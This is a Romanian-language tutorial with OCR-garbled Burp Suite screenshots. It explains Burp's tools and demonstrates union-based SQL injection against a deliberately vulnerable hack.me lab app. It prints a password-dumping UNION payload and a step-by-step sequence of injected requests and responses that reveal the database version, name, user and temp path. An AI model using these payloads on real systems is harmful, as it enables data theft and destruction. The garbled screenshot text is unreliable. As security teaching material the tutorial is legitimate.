SQL Injection prin Burp

Burp sau Burp Suite este un instrument grafic pentru testarea securitatii aplicatiilor web.

Instrumentul este scris in Java si dezvoltat de PortSwigger Security.

Burp Decoder - este instrumentul ce are doud versiuni: o versiune gratuitd si o versiune

completa care poate fi achizitionatd dupa o perioada de proba (Professional Edition). Versiunea

gratuitd are redusa semnificativ functionalitatea. Acesta a fost dezvoltat pentru a oferi o solutie

completa pentru verificarea securititii aplicatiilor web. In plus fati de functionalitatea de baza,

cum ar fi proxy server, scanner si intrus, instrumentul contine si optiuni mai avansate, cum ar fi

un spider, un repetor, un decodor, un comparter, un extender si un sequencer.

Compania din spatele suitei Burp a dezvoltat, de asemenea, o aplicatie mobila care contine

instrumente similare compatibile cu iOS 8 si mai sus.

Instrumente sunt urmatoarele :

Proxy HTTP - functioneaza ca un server proxy web si este asezat ca un intermediar intre
browser si serverele de destinatie web. Aceasta permite interceptarea, inspectia si
modificarea traficului brut care trece in ambele directii.

Scanner - un scaner de securitate pentru aplicatii web, utilizat pentru scanarea automata a
vulnerabilitatilor aplicatiilor web.

Intrus - Acest instrument poate efectua atacuri automate asupra aplicatiilor web.
Instrumentul ofera un algoritm configurabil care poate genera solicitari HTTP rau
intentionate. Instrumentul intrus poate testa si detecta SQL Injections, Cross Site
Scripting, manipularea parametrilor si vulnerabilitatile susceptibile de atac brutal.
Spider - Un instrument pentru crawlerea automata a aplicatiilor web. Acesta poate fi
utilizat impreuna cu tehnicile de cartografiere manuala pentru a accelera procesul de
mapare a continutului si a functionalitatii unei aplicatii.

Repetor - un instrument simplu care poate fi folosit pentru a testa manual o aplicatie.
Acesta poate fi folosit pentru a modifica cererile catre server, pentru a le trimite din nou
si pentru a observa rezultatele.

Decodor - instrument de transformare a datelor codificate in forma sa canonica sau de
transformare a datelor brute in diverse forme codate si rulate. Este capabil sd recunoasca
in mod inteligent mai multe formate de codare folosind tehnici euristice.

Comparer - Un instrument pentru efectuarea unei comparatii (un "diff" vizual) intre

oricare doud elemente de date.



e Extender - permite testerului de securitate sd incarce extensiile Burp, pentru a extinde
functionalitatea lui Burp folosind codul de testare de securitate propriu sau al unui tert
(BAppStore)

e Sequencer - instrument de analiza a calitatii aleatoare intr-un esantion de elemente de
date. Acesta poate fi folosit pentru a testa jetoanele de sesiune ale unei aplicatii sau alte
elemente de date importante care sunt intentionate a fi imprevizibile, cum ar fi jetoanele

anti-CSRF, jetoanele de resetare a parolei etc.

Ce este injectia SQL

Multi developeri web nu stiu cum pot fi manipulate interpeldrile SQL, si acorda toata
increderea unei asemenea comenzi. Interpelarile SQL pot ocoli controalele de acces, in consecinta
sd treacd peste metodele de autentificare si verificarile de autorizatie, iar cateodata pot chiar sa
faciliteze accesul la comenzile de sistem.

Injectarea directd a comenzilor SQL este o tehnica in care atacatorul creeazd sau modifica
comenzile SQL pentru a scoate la iveala datele sensibile, sau pentru a suprascrie o anumita valoare,
sau chiar pentru a executa comenzi periculoase la nivel de sistem. Acest lucru este infaptuit de
catre aplicatia care preia inputul utilizatorului, il combind cu parametrii statici pentru a forma o
interpelare SQL. Urmatoarele exemple sunt bazate pe cazuri reale, cu regret.

Datorita lipsei validarii inputului si conectarii la baza de date cu drepturi de superuser, sau a unui
user care poate crea la randul lui alti useri, atacatorul poate crea un superuser in baza de date.

O reald posibilitate de a afla parole este de a manipula rezultatele din paginile de cautare.
Singurul lucru de care are nevoie atacatorul este sa vada daca exista variabile in declaratiile SQL
care nu sunt protejate corespunzdtor. Se pot manipula variabilele din formularele care
utilizeaza WHERE, ORDER BY, LIMIT sau conditiile OFFSET din declaratiile SELECT. Daca
baza de date suporta constructii UNION, atacatorul poate incerca sa lipeasca o interpelare intreaga
la cea originala pentru a lista parolele dintr-un tabel arbitrar. Folosirea parolelor criptate este pe
deplin incurajata.

Partea statica a interpelarii poate fi combinata cu inca un SELECT care sa arate parolele:

'union select '1', concat(uname||'-'|[passwd) as name, '1971-01-01", '0' from usertable;--

Daca aceasta interpelare (ne-am jucat cu ’si --) ar fi fost atribuitd unei variabile utilizate la
formarea $query, am fi dat de belea.

Comanda SQL UPDATE nu este nici ea ocolitd de probleme. Aceste interpelari sunt
amenintate de atacurile prin tiierea si alipirea unei noi interpelari. in plus, atacatorul se mai poate

juca si cu declaratia SET. In acest caz, atacatorul trebuie sa cunoascad careva informatii despre



schema, de ex. structura tabelului din care doreste sa extragd sau sa manipuleze informatia. Acest
lucru poate fi facut prin examinarea denumirilor variabilelor din formulare, sau prin procedeul

brute-force. Nu existd multe conventii prin care se delimiteaza cAmpurile pentru user sau parola.

Aflarea datelor sensibile cu ajutorul injectiei SQL

Pentru a face o demonstrare ajustatd scopului lucrarii cu Injectie SQL vom folosi drept tinta situl
https://hack.me care permite acest lucru, deoarece este un site vulnerabil la penetrari, iar autorii
acestuia l-au creat pentru aceasta. La inceput vom naviga pe site si credm un cont, dupd care

navigam pe https://hack.me/103027/lyrics-app.html unde pe butonul start la afisarea sitului propriu

zis unde parola de intrare este guest guest.

Pentru a face primul pas configuram instrumentul Burp la Firefox astfel incit toate cererile
din Firefox sa treaca prin Burp (instructiunile a fi urmate sunt usor de gasit pe web).

Dupa ce ne-am logat cu guest guest mergem mai departe si facem un request pe care-l
interceptam in burp (e suficient sa clicdm pe un meniu). Interceptand cererea, o transferdm in zona
Repeater al Burp unde ulterior o modificiam dupd instructiunile afisate pe situl

http://www.securityidiots.com/Web-Pentest/SQL-Injection/Basic-Union-Based-SQL-

Injection.html

Astfel avem :

Burp Intruder Repeater Window Help

[ Target T Proxy ]' Spider I Scanner T Intruder IREpaater T Sequencer T Decoder I Comparer I Extender T Project options T User options I Alerts ]

Target: hitp://s79681-103027-cne.sipontum.hack.me [ﬁj EJ

Request Response

jﬂﬂw I Params T Headers | Hex Raw |

GET fapi.php?id=Z HTTP/1.1

Host: s79681-103027-cne. sipontum. hack . me

User-Agent: Mozilla/5.0 (Windows NT £.3; Wing4; x64; rw:57.0)
Gecko//20100101 Firefox/E7.0

Accept: *4¥

Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Peferer: http://s79651-103027-cne. sipontun.hack me/show lyriecs.php

Cookie: _ utma=I33483271.12238912C01. 1513625569, 1513625669 1513625569.1;

_ utmb=I33483I71.20.10.1513625569; _ utmeo=I33483271;

_ memz=I33483271. 151368255609 1. Loutnesr=(direct) |utncoen=(direct) |utmemd=(n
onel;  unam=g8738E6c-1le08bleedcE-T1la38£f80-16;  utmt=1;
FHPSESSID=0h0cckS823rkjdgri9lusnné 23

Comnection: close

=
¥

0 matches




Pentru a face uz de Injectie vom modifica instructiunea GET atat timp cat vom primi un raspuns
pozitiv si anume punem order by 5--+ pentru inceput, iar daca nu merge iteram pana dam de
numadrul corect de coloeane, in cazul dat este 4 (dar modificam si id-ul cu unul invalid pentru a

primi un raspuns pe pagina) :
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[ [ [ or [ sommr v e | Sovr | e | comorr | e oo v | s |

o cancall| (Ll > v Target: hitpiis78681-103027-Tix.sipontum.hack.me || | 7 |
Request Response
o v s [ {7
GET request to /api.php HITEZLULN2T0 0K A
Cache-Control: no-store, no-cache, must-revalidate, 2
Type |Mam= ‘Vaiue Add post-checlk=0, pra-check=0
URL id -2 order by 4— Pragma: no-cache
Cookie __utma 233483271.1223891221.1513625560.151362.... Remove Content-Type: text/html
Cookie __utmz 233483271.1513834124 2 2 utmesr=s79581- .. Expires: Thu, 19 Now 1981 0B:5I:00 GMT
Cookie __unam B57356c-1606b1ee4c6-71a38f80-24 Up Server: Microsoft-IIS/7.5
Cookie __utmb 233483271.5.10.1513534124 X¥-Allocated-0n-The-Fly-By: Coliseum Web Applicacion
Cookie _utme 233433271 o) | Security Framewsrl
Cookie __utmt 1 | H-Powered-By: Caendra Team
Cookie PHPSESSID Shm3idrnkkftpmr3iedklingis Date: Mon, 18 Dec 2017 21:59:44 CGMT
Connection: close
Content-Length: §4
1"id":null, "artist":null, "title":null, "lyric":null}
3
L.
Body encoding: 7 = + *. | | Tvpe & search term 0 matches
Done 433 bytes | 197 millis

Observam rezultatele tabelului actual in raspunsul din BURP. Acum stim care sunt numele celor

patru coloane.
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[Ta_rgetI Proxy TSpdm ISW Thtmder Im&‘»eqm IDeooder TCompamr TEx‘tendﬂ TP&njedopﬁmTUserootinm I Alerts ]
Go Cancel <l» > Target: hitpiis78681-103027-Tix.sipontum.hack.me || | 7 |
Request Response
Raw ims | Headers | Hex @ ] Headers | Hex
GET request to /api.php HITEZLULN2T0 0K :
Cache-Control: no-store, no-cache, must-revalidate,
Type |Mam= ‘Vaiue Add post-checlk=0, pra-check=0
URL id -2 union select 1,2,3 4— Pragma: no-cache
Cookie __utma 233483271.1223891221.1513625560.151362.... Remove Content-Type: text/html
Cookie __utmz 233483271.1513834124 2 2 utmesr=s79581- .. Expires: Thu, 19 Now 1981 0B:5I:00 GMT
Cookie __unam B57356c-1606b1ee4c6-71a38f80-24 Up Server: Microsoft-IIS/7.5
Cookie __utmb 233483271.5.10.1513534124 X-Allocated-On-The-Fly-By: Coliseum Web Application
Cookie __utme 233483271 e | Security Frameworl
Cookie __utmt 1 | H-Powered-By: Caendra Team
Cookie PHPSESSID Shm3idrnkkftpmr2iedk0in8is Date: Mon, 18 Dec ID17 ZZ2:01:55 CHMT
Comnnection: close
Content-Length: &0
§ridt: 1Y, Martist":"20, "kitle": "3, "Iyric": "Av}
.
L.
Body encoding: 7 = + *. | | Tvpe & search term 0 matches
Done 434 bytes | 2038 millis




Aflam care ste baza de date si versiunea acestea introducand GET /api.php?id=-

2%20union%?20select%201,2,version(),4--+%20 HTTP/1.1
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[Ta_rgetI Proxy TSpdm ISW Thtmder IMJS&:W IDeooder TCmrpafer TEx‘tendﬂ Tﬁnjactopﬁm'rsTUserootinm I Alerts ]
>l Target: http:is79681-103027-Tjx.sipontum.hack.me | &
Response
GET /api.php?id=-I%I0union$Z0select%Z0l,Z, version() , 4--+%20 HTTE/Ll.1 A HTTP/l.1 Z00 0K A
Host: s79681-103027-7i%. sipontum_ hack. me a Cache-Control: no-store, no-cache, must-revalidate, 2
User-Agent: Mozilla/5.0 (Windows NT £.3; WinG4; x64; rv:57.0) post-check=0, pre-check=0
Geclro 20100101 Firefox/57.0 Tragma: no-cache
Accept: */* Content-Type: text/html
Accept-Language: en-US,en;g=0.5 Expires: Thu, 19 Now 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Server: Microsoft-IIS/7.5
Referer: http://s79681-102027-77x%. sipontum. hack me/show lyrics.php X-Allocated-On-The-Fly-By: Coliseum Web Application
Cockie: _ utma=233483271.1223891221. 1613626569, 1513605569.1513634124.2; . Security Framework
__ utmz=033483271.1513634174. 2.2 utmosr=s79681-103375-cne. eroto. hack . me |utmee | X-Powered-By: Caendra Team
n=ireferral) |utmemd=re ferral jutmeoct=/success html; Date: Mon, 18 Dec ID17 ZI2:07:28 CHMT
_ unam=£5725Ec-1E0EblaedcE-T71a38£80-04;  utmhb=033482271.5.10. 1513624124, Comnnection: close
__utme=I323483271; _ utmt=1l; PHPEESSID=ChmIidrnkkftpunr2iefk0indib Content-Length: &9
Comnection: close
f'id":"1", "artist 5.1.65-community-log
" ondyrien:rany
- -
¥ v
ERIESIESIEN omatshes | (2] (2] (o] (2] [1me e seerettem Okt
Done 453 bytes | 253 millis

Observam ca este vorba de MySQL 5.1.65-community-log.

Aflam in consecinta si numele bazei de date :
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[Ta_rgetI Proxy TSpdm ISW Thtmder IMJS&:W IDeooder TCmrpafer TEx‘tendﬂ Tﬁnjactopﬁm'rsTUserootinm I Alerts ]
>l Target: http:is79681-103027-Tjx.sipontum.hack.me | &
Response
GET /api.php?id= Z0%Z20union$Z0selectsZ0l, 2, database() ,4--+ HITP/1l.1 'Y HTTP/1l.1 200 0K A
Host: s79681-103027-7i%. sipontum_ hack. me a Cache-Control: no-store, no-cache, must-revalidate, 2
User-Agent: Mozilla/5.0 (Windows NT £.3; WinG4; x64; rv:57.0) post-check=0, pre-check=0
Geclro 20100101 Firefox/57.0 Tragma: no-cache
Accept: */* Content-Type: text/html
Accept-Language: en-US,en;g=0.5 Expires: Thu, 19 Now 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Server: Microsoft-IIS/7.5
Referer: http://s79681-102027-77x%. sipontum. hack me/show lyrics.php X-Allocated-On-The-Fly-By: Coliseum Web Application
Cockie: _ utma=233483271.1223891221. 1613626569, 1513605569.1513634124.2; . Security Framework
__ utmz=033483271.1513534174. .utmosr=s79681-103375-cne. oroto. hack . me utmee | X-Powered-By: Caendra Team
n=ireferral) |utmemd=re ferral jutmeoct=/success html; Date: Mon, 18 Dec I017 ZII2:10:10 CHT
_ unam=£5725Ec-1E0EblaedcE-T71a38£80-04;  utmhb=033482271.5.10. 1513624124, Comnnection: close
__utme=I323483271; _ utmt=1l; PHPEESSID=ChmIidrnkkftpunr2iefk0indib Content-Length: &2
Comnection: close
1"id": "1t "artist": 2", "title": "lyrics app db", "lyri
ansngny
- -
¥ v
ERIESIESIEN omatshes | (2] (2] (o] (2] [1me e seerettem Okt
Done 445 bytes | 174 millis




Aflam numele utilizatorului curent :
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[roe [+ [ o [ somer [rwvow [ s | ssecr | oxcter | comprer | veno | et epos | v o [ s |

[ e |

Caricel <le 2

Target: http://s78681-103027-Tx.sipontum.hack.me | #| | 2

Request Response
T [ e [
GET request to /api.php HITEZLULN2T0 0K A
Cache-Control: no-store, no-cache, must-revalidate, 2
Type | Name | alue Add post-check=0, pra-check=0
URL id -2 union select 1,2 user(},4— Pragma: no-cache
Cookie _ uima 233483271.1223891221 1513625569151 3625560.1513634124 2 Remove Content-Type: text/html
Cookie __utmz 233483271.1513634124 2.2 utmcsr=s79681-103375-cnc.croto.hack me... Expires: Thu, 19 Now 1981 0B:5I:00 GMT
Cookie  __unam B57355c-1606b1ee4c6-71a38180-24 Up Server: Microsoft-IIS/7.5
Cookie __ utmb 233483271.5.10.1513634124 X-Allocated-0On-The-Fly-By: Coliseum Web Application
Cookie _ utmc 232483271 Down Security Frameworl
Cookie _ utmt 1 H-Powered-By: Caendra Team
Cookie PHPSESSID  Shm3idrnkkftpmr3ie3k0ingis Date: Mon, 18 Dec ID17 ZI2:11:23 CHMT
Comnnection: close
Content-Length: &7
frid": "artist":"2" "title":"db_adminflocalhost",
Vlyrict:narp
.
L.
Body encoding: 7 = + *. | | Tvpe & search term 0 matches
Done 451 bytes | 170 millis

Aflam numele si calea cétre directoriul temporar :
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[ warget [ rrony | spiser | scanner | intruger EWSEWTMTWHTMMTMPQMTUMMIAW]

[ e |

cancel <lw >

Target: http:is79681-103027-7jx.sipontum.hack.me LIJ w

Request Response
Raw ims [ Headers | Hex ;@ Headers | Hex
GET reguest to /api.php HITPLULI2T0 0K :
Cache-Control: no-store, no-cache, must-revalidate,
Type | Name | value Add post-checlk=0, pre-check=0
URL id -2 union select 1,2, @@tmpdir 4— Pragma: no-cache
Cookie __ uima 233483271.1223891221 1513625569 1513625565.1513634124 2 Remove Content-Type: text/html
Cookie __utmz 2334B3271.1513634124 2 2 utmecsr=s79681-103375-cnc.croto.hack mej.. Expires: Thu, 19 Now 1581 08:5I:00 GMT
Cookie __unam B857355c-1606b1ee4ct-71a38180-24 Up Server: Microsoft-IIS/7.5
Cookie __utmb 233483271.5.10.1513634124 H-Allocated-On-The-Fly-By: Coliseun Web Application
Cookie __uimc 233483271 Down Security Frameworlk
Cookie __utmt 1 H-Powered-By: Caendra Team
Cookie PHPSESSID  Shm3idrnkkftpmrai Date: Mon, 18 Dec Z017 Z2:1Z2:44 GMT
Comnection: close
Content-Length: 50
prian: ,tartist'ot ' 'Co\\Users\\5_7968~1\
\BppData\\Local\\Temp" "Lyric":"4"}
.
¥
Body encoding: 7 £ +: 52| | Type & search term 0 matches
Done 474 bytes | 177 millis

Astfel cu acelasi succes prin penetrare SQL se pot afla si alte informatii pana la continutul

tabelelor, chiar daca cheile sunt hashate cu MD5, acestea pot fi descifrate usor online. Idea este

ca cele mai periculoase comenzi SQL in cazul dat devin cele de stergere si anume DROP

TableName sau DROP DATABASE.




